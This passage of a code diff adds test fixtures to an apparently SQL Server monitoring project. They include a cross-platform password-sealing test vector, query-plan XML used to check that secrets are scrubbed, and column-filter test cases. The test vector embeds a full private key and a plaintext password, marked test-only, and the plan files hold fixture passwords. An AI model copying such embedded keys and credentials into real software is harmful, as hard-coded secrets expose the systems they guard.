+      "Day": "anchor-2d",
+      "AvgGrantedMb": 325.0000000000000000,
+      "AvgUsedMb": 105.0000000000000000,
+      "EfficiencyPct": 32.3,
+      "PeakGrantedMb": 350.00,
+      "TotalGrantees": 10,
+      "TotalWaiters": 4,
+      "TimeoutErrors": 0,
+      "ForcedGrants": 5
+    },
+    {
+      "Day": "anchor-1d",
+      "AvgGrantedMb": 362.5000000000000000,
+      "AvgUsedMb": 105.0000000000000000,
+      "EfficiencyPct": 29.0,
+      "PeakGrantedMb": 375.00,
+      "TotalGrantees": 11,
+      "TotalWaiters": 6,
+      "TimeoutErrors": 1,
+      "ForcedGrants": 7
+    }
+  ]
+}
diff --git a/Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json b/Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json
new file mode 100644
index 0000000000..e2a755300b
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json
@@ -0,0 +1,19 @@
+{
+  "label": "TEST VECTOR ONLY. Made on Windows with PasswordSeal. The private key belongs to no installation and protects nothing; the Linux build opens the sealed value with it to prove the Linux crypto path reads what Windows sealed.",
+  "purpose": "server",
+  "binding": {
+    "host": "example-host",
+    "port": 1433,
+    "engine": "sqlserver",
+    "database": "example_db",
+    "readOnlyIntent": false,
+    "auth": "sql",
+    "username": "example_login",
+    "encryptMode": "Mandatory",
+    "trustServerCertificate": false,
+    "multiSubnetFailover": false
+  },
+  "plaintext": "p@ss-not-real",
+  "sealed": "sealed:v1:920e225079f28149:kQxtOxASuZSZRrokwHCOgIbh4\u002BrK9LjAhTRuC0E2OcnmEyoOVfR0YAh2U7AHsVdtsLO8IjBSdAkvwIBiJoQbMUR4EW0J6C8Yjfl7ZHPyapKunKU/mXY5OgWpYmdP0UgrFVTVTr0sgBKbtlICVrczqrv4IIxasrDXxUNbPuNmaAe3OhPYzCBFWY6J0fEyh2etR9yU0nsrv5ilczJZPL9r1nUQvc8mI1hJDo\u002Beoe9hkB9GB4rVNb5gO\u002Bb\u002B21AuxVuTF\u002BZ/eXNT1SI5wJXVVK/dq0NYCO6sbkA\u002BddEOIIlFWpeUdimrWHiwJw0YFav4DFQ2C/NyiSog4GNRqfe4\u002B2d1kz3\u002BTp25\u002BP\u002BpaOTvH/UkZWV0g6thWq59MPiSYSEpkowdAsSrJirdS88U6MO\u002Bn2\u002BCjffUcDYC8NplBKcAI6y1dl6mODm86BofqQQAMXsKCBvZnGaTwoUtk\u002BLoA0iqY7nyMsdN2Fp\u002BCgV63sYp9zKxE8OZ9ex/O6DU6GtMA4mPxPBj4dB94yIoxOY1tZuUHH\u002BW4JryIIvN3nmOmWCqmDzu7nj1CED3XWBfMsHLf1FpcNWn6E35Ee52GLDl62yQ",
+  "testOnlyPrivateKeyPkcs8Base64": "MIIG/QIBADANBgkqhkiG9w0BAQEFAASCBucwggbjAgEAAoIBgQC\u002BDxMvRV4ka67T/WjVJj2B/8P2GcO2JfHG6gW8FWhqLYltGH35oRaulIfwhDqg8ZnwwwbfLOjb7OIJt0ySa67mK/H2XqyWsadoosy/NfXPWwFrPXCOmS4YNZUw7FC9\u002BwS0zjDCoYZhP9bNzO20PVI4QgIdzkb5D0VbfzMte0s0bRct5ceFs82tko7PGm4xsvuM484oeuoc2voE7BmKDUsbZm59MBI7cIrwNsoRzc1Qkl/ETxEg6Q43TNgF6uBd2KUjDE5YnrKMQuz4ZOOFMxeTtCbS6BYBa3kxNn3oMb5ynOj6EAEMcoRXvh4Wqmlwe1En5EJO7PGyr2Uu/NK3dsgoyrH/NWPnVfW/uTFZm63lE5rjZF9UjFCHmCiLp\u002Bbijs1oz8SVc\u002BWdSqRBoxXpiLA6GjfUPS3WmTM7rB5i2vQYsswFC6DHPkTzdm2x55hz8hPATgrNjbXSswCfFW0srYokJkxHa\u002BJ8QQn1IP4oEquzPVPCl6a4ZSdFlabNQdAniskCAwEAAQKCAYALA6ii9qwsBCmPk4H9yEeMPxxGKNwUtEI8utc2PS9d5\u002BGs9txmGRXNbEIsiB01soqvTz4YtOuRwzqeQYcofSEXqbhOBNKPsR/4ima/NgtWxvlgE6FwQiRPtts8iJVtTRzKtaBRxzaYcDCsoJGt/lfDdt/Uhl3KlT35vXdjzV9gXGoZeNWFRBRJWNL54Zg9PRgi5BjQc78ZiP8wRdZ9D6QopFkG3EBSPYVvwl0Xhwu8/Z6bK9HcTGVMgyGJxkDWb3WY6GlBFKbmj0ljyyrWpfW4veBVvpAWIjDS0kFOJqGR7rOSRP6ExKYt0/zzUFnsVCsn8SUEOx0MH333AneF2ERqwz72RnmTKLTSPVAD/K5GwyFLzMFiAQzQD\u002BlFmwPOS5bt6DswG8zkMgYwcpsAWiE3l6nDv/f/L4SxA3QK\u002BLUrjf4FCKbQhk4Mf3GpchYfsx4bDZDO35x/oGYdz3ib743Epx0XdZd7g1ryqBntlrMptt9hcmS48l/Dsy5S4LXS9dkCgcEA0qFd\u002ByVg36d5miT2At6HME7W7amtyKFR75QWVcEjmJiTXhlGHex/wqlKzbrXFXz\u002By0cUr1SoUyITUtCHW5qthyz2Nqwob52oG7tzPbSYpNjuuo7G8DHZibzBn2RYHk\u002BZJlQ/TM5rlBYEXCIHuEIb86f1Hb90hf5fbsERXNKL2\u002BCaL/ry0MaD\u002BLrBzANF3IjpN03vof59\u002BE5Ue40SBSdnGTPlY4JypLwjNk9DRu\u002BbNLTdiiojjJvpS2TJQT5CzoXbAoHBAOb/WfQyAclPBJ4\u002B8QbK5nuwMVHWndQRznwRekhvRo8LpcEh80wi3s3S/JVIuygHqH8awSUuPdTMZ2U\u002BUp4QhtADQymiuJgOCtjTqlbmy67yRtsufRwRNYjuDOdkOIk96IgZk4ztZYujRp83N8iWrx7jaF0hqtAH5SeiUXovwvIPKA6VNLD3YM6vZKjXRnkhU6PZbPgI220jcVk2xOI4xvSCZNRc51eHs4SC9nxCJ4S7WGgHuJlyG7ssAr/64IvdKwKBwDrl8LfHzfz8gd5\u002Bs2Q\u002BAaOaiDNRHU1a/uR1joFQTrnfAGZxvs\u002BjUF6IpGg\u002B9OIHX\u002BBL8hbNH3yPrMOdmBwfdqK0Ce1j2rLLbTTECAebNovyNV9piWulJOWFKMd/cbyYGYVETacWmbKBLZrt0SbPJa3Oq5Yz8Ut\u002BxATebBJ\u002Btak4dyUvkTKcME8fOg3oZGK0zjIu0vGDjooerTUXT5CtYgEEKALZeWFjUp1fMLrnSYlFgiWefu5UsrnoZvadiGTjvQKBwQCeuGAvuVie4QuUTD1C5JG/9U2\u002BJNBnkiCmAUBbmxIJYgBvlwtcii07kbh6PvJSTAjL5S9Hg\u002BF6YUS\u002BPTd5YnOvZD520lcyK5vqZm4JriXQPKrRGb1fVrfJMYBuUd/C9WXcdm57C/eVHgh9h\u002BxtiJQlji38qBB9Rp9/Pznq0fyKZD2q33zICAJdoghxNxI2Ut7sm44TU8qp0AunOEnKAyc5hIsRnBBdhWGlMHN6593Nhwj02jFORiil0FTHYvN9RucCgcBfAZiHISzoCQ3rPU99jpZLTbobfvnCn/bAmG8OjAvkuW54W17oXwjEvHtGl\u002B/1WR8tvbplmGZJcf5nLzxgIU6x7fLg5dUmlqsPt08nw2q7QG7OFTZDhqga1JuQDa0c\u002BwHb1S94F9O1QIHkgaHYReiSfMxlWZHC3RtJaT6gSHj6wIT6aAtKIsEElqoM9VlUlk4rrhJoBQXVevSM/Kxghz4QmC1dbBDrdcPbzIJx/B5Nrc/SDJhL2YwIbC9OrbqERWQ="
+}
diff --git a/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_adhoc_shell.xml b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_adhoc_shell.xml
new file mode 100644
index 0000000000..bd47dd657b
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_adhoc_shell.xml
@@ -0,0 +1 @@
+<ShowPlanXML xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements><StmtSimple StatementText="SELECT id FROM tempdb.dbo.ssf_l2b WHERE username = N'app' AND password = N'S3cret-fixture'" StatementId="1" StatementCompId="2" StatementType="SELECT" RetrievedFromCache="true" ParameterizedPlanHandle="0x060002005A21FA0490BD13CDB501000001000000000000000000000000000000000000000000000000000000" ParameterizedText="(@1 nvarchar(4000),@2 nvarchar(4000))SELECT [id] FROM [tempdb].[dbo].[ssf_l2b] WHERE [username]=@1 AND [password]=@2"/></Statements></Batch></BatchSequence></ShowPlanXML>
\ No newline at end of file
diff --git a/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_prepared.xml b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_prepared.xml
new file mode 100644
index 0000000000..72e6ecf851
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_prepared.xml
@@ -0,0 +1 @@
+<ShowPlanXML xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements><StmtSimple StatementText="SELECT [id] FROM [tempdb].[dbo].[ssf_l2b] WHERE [username]=@1 AND [password]=@2" StatementId="1" StatementCompId="2" StatementType="SELECT" RetrievedFromCache="true" StatementSubTreeCost="0.0032831" StatementEstRows="1" SecurityPolicyApplied="false" StatementOptmLevel="TRIVIAL" QueryHash="0x24D1FCC208E1B82C" QueryPlanHash="0x8A043C7D707127BF" CardinalityEstimationModelVersion="150"><StatementSetOptions QUOTED_IDENTIFIER="true" ARITHABORT="false" CONCAT_NULL_YIELDS_NULL="true" ANSI_NULLS="true" ANSI_PADDING="true" ANSI_WARNINGS="true" NUMERIC_ROUNDABORT="false"></StatementSetOptions><QueryPlan CachedPlanSize="24" CompileTime="3" CompileCPU="3" CompileMemory="120"><MemoryGrantInfo SerialRequiredMemory="0" SerialDesiredMemory="0" GrantedMemory="0" MaxUsedMemory="0"></MemoryGrantInfo><OptimizerHardwareDependentProperties EstimatedAvailableMemoryGrant="52401" EstimatedPagesCached="13100" EstimatedAvailableDegreeOfParallelism="2" MaxCompileMemory="478192"></OptimizerHardwareDependentProperties><OptimizerStatsUsage><StatisticsInfo LastUpdate="2026-10-05T20:46:58.91" ModificationCount="0" SamplingPercent="100" Statistics="[_WA_Sys_00000003_29572725]" Table="[ssf_l2b]" Schema="[dbo]" Database="[tempdb]"></StatisticsInfo><StatisticsInfo LastUpdate="2026-10-05T20:46:58.91" ModificationCount="0" SamplingPercent="100" Statistics="[_WA_Sys_00000002_29572725]" Table="[ssf_l2b]" Schema="[dbo]" Database="[tempdb]"></StatisticsInfo></OptimizerStatsUsage><TraceFlags IsCompileTime="1"><TraceFlag Value="3895" Scope="Global"></TraceFlag></TraceFlags><RelOp NodeId="0" PhysicalOp="Clustered Index Scan" LogicalOp="Clustered Index Scan" EstimateRows="1" EstimatedRowsRead="1" EstimateIO="0.003125" EstimateCPU="0.0001581" AvgRowSize="51" EstimatedTotalSubtreeCost="0.0032831" TableCardinality="1" Parallel="0" EstimateRebinds="0" EstimateRewinds="0" EstimatedExecutionMode="Row"><OutputList><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="id"></ColumnReference></OutputList><IndexScan Ordered="0" ForcedIndex="0" ForceScan="0" NoExpandHint="0" Storage="RowStore"><DefinedValues><DefinedValue><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="id"></ColumnReference></DefinedValue></DefinedValues><Object Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Index="[PK__ssf_l2b__3213E83F19429DD5]" IndexKind="Clustered" Storage="RowStore"></Object><Predicate><ScalarOperator ScalarString="[tempdb].[dbo].[ssf_l2b].[username]=[@1] AND [tempdb].[dbo].[ssf_l2b].[password]=[@2]"><Logical Operation="AND"><ScalarOperator><Compare CompareOp="EQ"><ScalarOperator><Identifier><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="username"></ColumnReference></Identifier></ScalarOperator><ScalarOperator><Identifier><ColumnReference Column="@1"></ColumnReference></Identifier></ScalarOperator></Compare></ScalarOperator><ScalarOperator><Compare CompareOp="EQ"><ScalarOperator><Identifier><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="password"></ColumnReference></Identifier></ScalarOperator><ScalarOperator><Identifier><ColumnReference Column="@2"></ColumnReference></Identifier></ScalarOperator></Compare></ScalarOperator></Logical></ScalarOperator></Predicate></IndexScan></RelOp><ParameterList><ColumnReference Column="@2" ParameterDataType="nvarchar(4000)" ParameterCompiledValue="N&apos;S3cret-fixture&apos;"></ColumnReference><ColumnReference Column="@1" ParameterDataType="nvarchar(4000)" ParameterCompiledValue="N&apos;app&apos;"></ColumnReference></ParameterList></QueryPlan></StmtSimple></Statements></Batch></BatchSequence></ShowPlanXML>
\ No newline at end of file
diff --git a/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_adhoc_shell.xml b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_adhoc_shell.xml
new file mode 100644
index 0000000000..a72b822f14
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_adhoc_shell.xml
@@ -0,0 +1 @@
+<ShowPlanXML xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements><StmtSimple StatementText="UPDATE tempdb.dbo.ssf_l2b SET password = N'S3cret-fixture' WHERE id = 7" StatementId="1" StatementCompId="2" StatementType="UPDATE" RetrievedFromCache="true" ParameterizedPlanHandle="0x060002005EDF0F1220B413CDB501000001000000000000000000000000000000000000000000000000000000" ParameterizedText="(@1 nvarchar(4000),@2 tinyint)UPDATE [tempdb].[dbo].[ssf_l2b] set [password] = @1  WHERE [id]=@2"/></Statements></Batch></BatchSequence></ShowPlanXML>
\ No newline at end of file
diff --git a/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_prepared.xml b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_prepared.xml
new file mode 100644
index 0000000000..39cc6b20c0
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_prepared.xml
@@ -0,0 +1 @@
+<ShowPlanXML xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements><StmtSimple StatementText="UPDATE [tempdb].[dbo].[ssf_l2b] set [password] = @1  WHERE [id]=@2" StatementId="1" StatementCompId="2" StatementType="UPDATE" RetrievedFromCache="true" StatementSubTreeCost="0.0132842" StatementEstRows="1" SecurityPolicyApplied="false" StatementOptmLevel="TRIVIAL" QueryHash="0xDE481BD4318A64E0" QueryPlanHash="0x2EED6A30716A4922" CardinalityEstimationModelVersion="150"><StatementSetOptions QUOTED_IDENTIFIER="true" ARITHABORT="false" CONCAT_NULL_YIELDS_NULL="true" ANSI_NULLS="true" ANSI_PADDING="true" ANSI_WARNINGS="true" NUMERIC_ROUNDABORT="false"></StatementSetOptions><QueryPlan CachedPlanSize="24" CompileTime="0" CompileCPU="0" CompileMemory="176"><MemoryGrantInfo SerialRequiredMemory="0" SerialDesiredMemory="0" GrantedMemory="0" MaxUsedMemory="0"></MemoryGrantInfo><OptimizerHardwareDependentProperties EstimatedAvailableMemoryGrant="52401" EstimatedPagesCached="13100" EstimatedAvailableDegreeOfParallelism="2" MaxCompileMemory="478192"></OptimizerHardwareDependentProperties><TraceFlags IsCompileTime="1"><TraceFlag Value="3895" Scope="Global"></TraceFlag></TraceFlags><RelOp NodeId="0" PhysicalOp="Clustered Index Update" LogicalOp="Update" EstimateRows="1" EstimateIO="0.01" EstimateCPU="1e-06" AvgRowSize="9" EstimatedTotalSubtreeCost="0.0132842" Parallel="0" EstimateRebinds="0" EstimateRewinds="0" EstimatedExecutionMode="Row"><OutputList></OutputList><SimpleUpdate DMLRequestSort="0"><DefinedValues><DefinedValue><ColumnReference Column="Expr1002"></ColumnReference><ScalarOperator ScalarString="CONVERT_IMPLICIT(nvarchar(50),[@1],0)"><Convert DataType="nvarchar" Length="100" Style="0" Implicit="1"><ScalarOperator><Identifier><ColumnReference Column="@1"></ColumnReference></Identifier></ScalarOperator></Convert></ScalarOperator></DefinedValue></DefinedValues><Object Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Index="[PK__ssf_l2b__3213E83F19429DD5]" IndexKind="Clustered" Storage="RowStore"></Object><SeekPredicateNew><SeekKeys><Prefix ScanType="EQ"><RangeColumns><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="id"></ColumnReference></RangeColumns><RangeExpressions><ScalarOperator ScalarString="CONVERT_IMPLICIT(int,[@2],0)"><Convert DataType="int" Style="0" Implicit="1"><ScalarOperator><Identifier><ColumnReference Column="@2"></ColumnReference></Identifier></ScalarOperator></Convert></ScalarOperator></RangeExpressions></Prefix></SeekKeys></SeekPredicateNew><SetPredicate><ScalarOperator ScalarString="[tempdb].[dbo].[ssf_l2b].[password] = [Expr1002]"><ScalarExpressionList><ScalarOperator><MultipleAssign><Assign><ColumnReference Database="[tempdb]" Schema="[dbo]" Table="[ssf_l2b]" Column="password"></ColumnReference><ScalarOperator><Identifier><ColumnReference Column="Expr1002"></ColumnReference></Identifier></ScalarOperator></Assign></MultipleAssign></ScalarOperator></ScalarExpressionList></ScalarOperator></SetPredicate></SimpleUpdate></RelOp><ParameterList><ColumnReference Column="@1" ParameterDataType="nvarchar(4000)" ParameterCompiledValue="N&apos;S3cret-fixture&apos;"></ColumnReference><ColumnReference Column="@2" ParameterDataType="tinyint" ParameterCompiledValue="(7)"></ColumnReference></ParameterList></QueryPlan></StmtSimple></Statements></Batch></BatchSequence></ShowPlanXML>
\ No newline at end of file
diff --git a/Darling/Darling.Tests/Fixtures/StatementScrub/two_statements.xml b/Darling/Darling.Tests/Fixtures/StatementScrub/two_statements.xml
new file mode 100644
index 0000000000..d1d852db51
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/StatementScrub/two_statements.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-16"?>
+<ShowPlanXML xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="1.564" Build="16.0.4210.1" xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan">
+  <BatchSequence>
+    <Batch>
+      <Statements>
+        <StmtSimple StatementCompId="1" StatementEstRows="1" StatementId="1" StatementOptmLevel="TRIVIAL" StatementSubTreeCost="0.0032831" StatementText="UPDATE dbo.settings SET value = N'CANARY-one' WHERE id = @id" ParameterizedText="(@1 nvarchar(4000),@2 int)UPDATE [dbo].[settings] set [value] = @1 WHERE [id]=@2" StatementType="UPDATE" QueryHash="0x1111111111111111" QueryPlanHash="0x2222222222222222" RetrievedFromCache="true">
+          <StatementSetOptions ANSI_NULLS="true" ANSI_PADDING="true" ANSI_WARNINGS="true" ARITHABORT="true" CONCAT_NULL_YIELDS_NULL="true" NUMERIC_ROUNDABORT="false" QUOTED_IDENTIFIER="true" />
+          <QueryPlan CachedPlanSize="16" CompileTime="1" CompileCPU="1" CompileMemory="96">
+            <RelOp AvgRowSize="9" EstimateCPU="0.0001581" EstimateIO="0.003" EstimateRebinds="0" EstimateRewinds="0" EstimatedExecutionMode="Row" EstimateRows="1" LogicalOp="Update" NodeId="0" Parallel="false" PhysicalOp="Clustered Index Update" EstimatedTotalSubtreeCost="0.0032831">
+              <OutputList />
+              <Update DMLRequestSort="false" ActualRebinds="0">
+                <Object Database="[db1]" Schema="[dbo]" Table="[settings]" Index="[PK_settings]" IndexKind="Clustered" Storage="RowStore" />
+                <SetPredicate>
+                  <ScalarOperator ScalarString="[db1].[dbo].[settings].[value] = N'CANARY-one'">
+                    <Assign>
+                      <ColumnReference Database="[db1]" Schema="[dbo]" Table="[settings]" Column="value" />
+                      <ScalarOperator ScalarString="N'CANARY-one'">
+                        <Const ConstValue="N'CANARY-one'" />
+                      </ScalarOperator>
+                    </Assign>
+                  </ScalarOperator>
+                </SetPredicate>
+                <RelOp AvgRowSize="9" EstimateCPU="0.0001581" EstimateIO="0.003" EstimateRebinds="0" EstimateRewinds="0" EstimatedExecutionMode="Row" EstimateRows="1" LogicalOp="Clustered Index Seek" NodeId="1" Parallel="false" PhysicalOp="Clustered Index Seek" EstimatedTotalSubtreeCost="0.0031">
+                  <OutputList />
+                  <IndexScan Ordered="true" ScanDirection="FORWARD" ForcedIndex="false" ForceSeek="false" NoExpandHint="false" Storage="RowStore">
+                    <DefinedValues />
+                    <Object Database="[db1]" Schema="[dbo]" Table="[settings]" Index="[PK_settings]" IndexKind="Clustered" Storage="RowStore" />
+                    <SeekPredicates>
+                      <SeekPredicateNew>
+                        <SeekKeys>
+                          <Prefix ScanType="EQ">
+                            <RangeColumns>
+                              <ColumnReference Database="[db1]" Schema="[dbo]" Table="[settings]" Column="id" />
+                            </RangeColumns>
+                            <RangeExpressions>
+                              <ScalarOperator ScalarString="CONVERT_IMPLICIT(int,[@2],0)">
+                                <Convert DataType="int" Style="0" Implicit="true">
+                                  <ScalarOperator>
+                                    <Identifier>
+                                      <ColumnReference Column="@2" />
+                                    </Identifier>
+                                  </ScalarOperator>
+                                </Convert>
+                              </ScalarOperator>
+                            </RangeExpressions>
+                          </Prefix>
+                        </SeekKeys>
+                      </SeekPredicateNew>
+                    </SeekPredicates>
+                  </IndexScan>
+                </RelOp>
+              </Update>
+            </RelOp>
+            <Warnings>
+              <PlanAffectingConvert ConvertIssue="Seek Plan" Expression="CONVERT_IMPLICIT(nvarchar(4000),[db1].[dbo].[settings].[value],0) = N'lit-ssf'" />
+            </Warnings>
+            <ParameterList>
+              <ColumnReference Column="@2" ParameterDataType="int" ParameterCompiledValue="(7)" ParameterRuntimeValue="(7)" />
+              <ColumnReference Column="@1" ParameterDataType="nvarchar(4000)" ParameterCompiledValue="N'CANARY-compiled'" ParameterRuntimeValue="N'CANARY-runtime'" />
+            </ParameterList>
+          </QueryPlan>
+        </StmtSimple>
+        <StmtSimple StatementCompId="2" StatementEstRows="1" StatementId="2" StatementOptmLevel="TRIVIAL" StatementSubTreeCost="0.0032831" StatementText="SELECT name FROM dbo.people WHERE name = @n" StatementType="SELECT" QueryHash="0x3333333333333333" QueryPlanHash="0x4444444444444444" RetrievedFromCache="true">
+          <StatementSetOptions ANSI_NULLS="true" ANSI_PADDING="true" ANSI_WARNINGS="true" ARITHABORT="true" CONCAT_NULL_YIELDS_NULL="true" NUMERIC_ROUNDABORT="false" QUOTED_IDENTIFIER="true" />
+          <QueryPlan CachedPlanSize="16" CompileTime="1" CompileCPU="1" CompileMemory="96">
+            <RelOp AvgRowSize="9" EstimateCPU="0.0001581" EstimateIO="0.003" EstimateRebinds="0" EstimateRewinds="0" EstimatedExecutionMode="Row" EstimateRows="1" LogicalOp="Clustered Index Seek" NodeId="0" Parallel="false" PhysicalOp="Clustered Index Seek" EstimatedTotalSubtreeCost="0.0032831">
+              <OutputList>
+                <ColumnReference Database="[db1]" Schema="[dbo]" Table="[people]" Column="name" />
+              </OutputList>
+              <IndexScan Ordered="true" ScanDirection="FORWARD" ForcedIndex="false" ForceSeek="false" NoExpandHint="false" Storage="RowStore">
+                <DefinedValues>
+                  <DefinedValue>
+                    <ColumnReference Database="[db1]" Schema="[dbo]" Table="[people]" Column="name" />
+                  </DefinedValue>
+                </DefinedValues>
+                <Object Database="[db1]" Schema="[dbo]" Table="[people]" Index="[PK_people]" IndexKind="Clustered" Storage="RowStore" />
+                <Predicate>
+                  <ScalarOperator ScalarString="[db1].[dbo].[people].[name]=N'CANARY-two'">
+                    <Compare CompareOp="EQ">
+                      <ScalarOperator>
+                        <Identifier>
+                          <ColumnReference Database="[db1]" Schema="[dbo]" Table="[people]" Column="name" />
+                        </Identifier>
+                      </ScalarOperator>
+                      <ScalarOperator>
+                        <Const ConstValue="N'CANARY-two'" />
+                      </ScalarOperator>
+                    </Compare>
+                  </ScalarOperator>
+                </Predicate>
+              </IndexScan>
+            </RelOp>
+            <Warnings>
+              <PlanAffectingConvert ConvertIssue="Seek Plan" Expression="CONVERT_IMPLICIT(nvarchar(4000),[db1].[dbo].[people].[name],0) = N'lit-ssf'" />
+            </Warnings>
+            <ParameterList>
+              <ColumnReference Column="@n" ParameterDataType="nvarchar(50)" ParameterCompiledValue="N'CANARY-keep'" ParameterRuntimeValue="N'plain-runtime'" />
+            </ParameterList>
+          </QueryPlan>
+        </StmtSimple>
+      </Statements>
+    </Batch>
+  </BatchSequence>
+</ShowPlanXML>
diff --git a/Darling/Darling.Tests/Fixtures/column-value-filter-cases.json b/Darling/Darling.Tests/Fixtures/column-value-filter-cases.json
new file mode 100644
index 0000000000..3627286074
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/column-value-filter-cases.json
@@ -0,0 +1,202 @@
+{
+  "issue": 5565,
+  "about": "Shared cases for the value-list column filter. The desktop tests (Darling.Tests) and the web page tests drive these steps through their own code and must see the same list, state and shown rows after each step.",
+  "format": {
+    "rows": "A column of text cells, in grid order. A JSON null is a null cell. Instead of an array, {\"generate\": {\"prefix\": \"x\", \"count\": 1500}} means the values prefix0 .. prefix(count-1).",
+    "steps": "Run in order against one open filter on that column; state, rows and the search box carry from step to step. A step's expect keys are all optional; check only the ones present.",
+    "actions": {
+      "open": "No change. Only the expectations are checked.",
+      "search": "{\"text\"}: the search box now holds text (contains, ignore case; empty means no search). Not part of the stored state.",
+      "untick": "{\"values\": [...], \"blank\": bool}: untick these list values, and the (Blanks) entry when blank is true, then apply. Values are matched ignore case.",
+      "tick": "{\"values\": [...], \"blank\": bool}: tick them, then apply.",
+      "tickOnly": "{\"values\": [...], \"blank\": bool}: untick everything, tick these (and the (Blanks) entry when blank is true), then apply.",
+      "selectAll": "{\"ticked\": bool}: Select All ticks (true) or unticks (false) every real value the current search shows, then applies. The (Blanks) entry is only listed while the search box is empty, and then Select All covers it too.",
+      "refresh": "{\"addRows\": [...]} appends rows, or {\"rows\": [...]} replaces all rows; the stored filter stays and is re-applied.",
+      "textMatch": "{\"operator\": \"Contains\", \"text\": \"...\"}: sets the text match beside the list, then apply."
+    },
+    "expect": {
+      "listBlank": "true when the list opens with the (Blanks) entry (the rows have a blank cell and the search box is empty).",
+      "listValues": "The real values listed, in listed order (ordinal ignore case), after the cap. The (Blanks) entry is not in this array.",
+      "listCount": "Number of entries listed, (Blanks) included.",
+      "note": "The note under the list: the cap note, the no-ticks note, or null for none.",
+      "state": "{mode: None | ShowOnly | Hide, values: [...] compared as a set ignoring case and order, blank: bool}. In Hide, blank true hides the blank cells; in ShowOnly, blank true shows them.",
+      "shown": "The rows the grid shows after the filter, in grid order (null for a null cell).",
+      "shownCount": "The number of rows shown, for the large case."
+    },
+    "rules": {
+      "listCap": 1000,
+      "capNote": "Showing 1,000 of {N} values. Search to find the rest.  N is the count of distinct real values the search matches (the Blanks entry is not counted; with no search that is every value) and uses a comma thousands separator. The note shows when the cap cuts the matches off.",
+      "noTicksNote": "No values are ticked, so no rows show.",
+      "modeChoice": "All entries ticked: None. Otherwise fewer unticked than ticked: Hide the unticked. Otherwise ShowOnly the ticked. Counts take every distinct value of the rows (and the blank entry when the rows have a blank cell), not just the entries the search shows. A value the stored filter names but the rows no longer hold is not counted: the mode comes from the listed entries alone, and such a value is carried over only when the new mode is the stored filter's own (Hide keeps the hidden ones, ShowOnly the shown ones).",
+      "caseFolding": "Values compare like .NET OrdinalIgnoreCase: each character is uppercased on its own (a simple mapping), so 'ss' and the sharp s are different values, and the dotless i and the long s do not fold into 'I' and 'S'.",
+      "noListColumns": "The shared 'no list' name rule: a column whose name matches gets no value list and its text match is kept for the session only. 'excluded' and 'listed' pair the desktop property name with the web column key; both halves must give the answer in the pair.",
+      "noListColumnPairs": {
+      "excluded": [
+        { "desktop": "QueryText", "web": "query_text" },
+        { "desktop": "SqlText", "web": "blocked_sql_text" },
+        { "desktop": "DeadlockGraphXml", "web": "deadlock_graph_xml" },
+        { "desktop": "Message", "web": "message" },
+        { "desktop": "Detail", "web": "detail" },
+        { "desktop": "DetailText", "web": "detail_text" },
+        { "desktop": "Description", "web": "description" },
+        { "desktop": "Statement", "web": "statement" },
+        { "desktop": "Command", "web": "exact_measurement_command" },
+        { "desktop": "Script", "web": "script" },
+        { "desktop": "ImplementationScript", "web": "implementation_script" },
+        { "desktop": "LastError", "web": "last_error" },
+        { "desktop": "AdditionalInfo", "web": "additional_info" },
+        { "desktop": "SendError", "web": "send_error" },
+        { "desktop": "QueryPlan", "web": "query_plan" },
+        { "desktop": "PlanXml", "web": "plan_xml" },
+        { "desktop": "TextData", "web": "text_data" },
+        { "desktop": "Definition", "web": "definition" },
+        { "desktop": "DurationFormatted", "web": "duration_formatted" },
+        { "desktop": "Preview", "web": "sql_preview" },
+        { "desktop": "Reason", "web": "reason" },
+        { "desktop": "RecommendationReason", "web": "recommendation_reason" }
+      ],
+      "listed": [
+        { "desktop": "LoginName", "web": "login_name" },
+        { "desktop": "HostName", "web": "host_name" },
+        { "desktop": "ProgramName", "web": "program_name" },
+        { "desktop": "DatabaseName", "web": "database_name" },
+        { "desktop": "ObjectName", "web": "object_name" },
+        { "desktop": "WaitType", "web": "wait_type" },
+        { "desktop": "Status", "web": "status" },
+        { "desktop": "JobName", "web": "job_name" },
+        { "desktop": "FileName", "web": "file_name" },
+        { "desktop": "ClientApp", "web": "client_app" }
+      ]
+      }
+    }
+  },
+  "cases": [
+    {
+      "id": 1,
+      "name": "The list is the distinct values, ignore case, sorted, Blanks first",
